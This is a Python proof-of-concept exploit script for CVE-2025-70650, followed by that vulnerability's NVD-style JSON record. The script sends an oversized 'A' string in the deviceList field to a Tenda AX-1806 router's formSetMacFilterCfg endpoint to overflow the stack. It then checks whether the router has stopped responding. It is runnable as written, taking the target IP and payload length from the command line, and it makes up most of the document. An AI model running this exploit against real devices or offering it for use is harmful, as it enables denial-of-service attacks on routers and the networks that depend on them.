CVE-2025-70650

import requests # CVE-2025-70650 PoC - Tenda AX-1806 Stack Overflow in formSetMacFilterCfg # Target: Tenda AX-1806 v1.0.0.1 # Vulnerability: Stack overflow in deviceList parameter of formSetMacFilterCfg function target_ip = "192.168.0.1" # Default Tenda router IP target_port = 80 target_url = f"http://{target_ip}/goform/formSetMacFilterCfg" # Generate payload with oversized deviceList parameter to trigger stack overflow # The exact overflow length depends on the buffer size in the firmware # This PoC uses 1000 bytes of 'A' characters as a generic overflow attempt def create_stack_overflow_payload(payload_length=1000): """Generate stack overflow payload for deviceList parameter""" overflow_string = "A" * payload_length return overflow_string def exploit_cve_2025_70650(target_ip, payload_length=1000): """ Exploit CVE-2025-70650 - Stack overflow in formSetMacFilterCfg This PoC sends a crafted HTTP POST request with an oversized deviceList parameter to trigger a stack buffer overflow in the Tenda AX-1806 router. """ device_list_payload = create_stack_overflow_payload(payload_length) # Construct the POST data post_data = { "deviceList": device_list_payload, "module": "mac", "action": "set" } try: print(f"[*] Sending exploit payload to {target_ip}") print(f"[*] Payload length: {len(device_list_payload)} bytes") response = requests.post(target_url, data=post_data, timeout=10) print(f"[+] Response status: {response.status_code}") print(f"[+] Response: {response.text[:200]}") # Check if device is still responsive (DoS successful) check_url = f"http://{target_ip}/" try: check_response = requests.get(check_url, timeout=5) print("[-] Target still responsive - DoS may have failed") except requests.exceptions.RequestException: print("[+] Target appears unresponsive - DoS successful") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": import sys if len(sys.argv) > 1: target_ip = sys.argv[1] if len(sys.argv) > 2: payload_length = int(sys.argv[2]) else: payload_length = 1000 exploit_cve_2025_70650(target_ip, payload_length)

{"cve": {"id": "CVE-2025-70650", "sourceIdentifier": "[email protected]", "published": "2026-01-21T16:16:07.507", "lastModified": "2026-01-26T20:52:13.267", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tenda AX-1806 v1.0.0.1 was discovered to contain a stack overflow in the deviceList parameter of the formSetMacFilterCfg function. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted request."}, {"lang": "es", "value": "Tenda AX-1806 v1.0.0.1 se descubrió que contenía un desbordamiento de pila en el parámetro deviceList de la función formSetMacFilterCfg. Esta vulnerabilidad permite a los atacantes causar una Denegación de Servicio (DoS) a través de una solicitud manipulada."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tenda:ax1806_firmware:1.0.0.1:*:*:*:*:*:*:*", "matchCriteriaId": "578F9769-EF24-4B52-83D3-9AA2C91A503D"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tenda:ax1806:-:*:*:*:*:*:*:*", "matchCriteriaId": "ACA44369-A513-474F-8DD0-A81B598F5B07"}]}]}], "references": [{"url": "https://github.com/0-fool/VulnbyCola/blob/main/Tenda/AX-1806/1/1.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}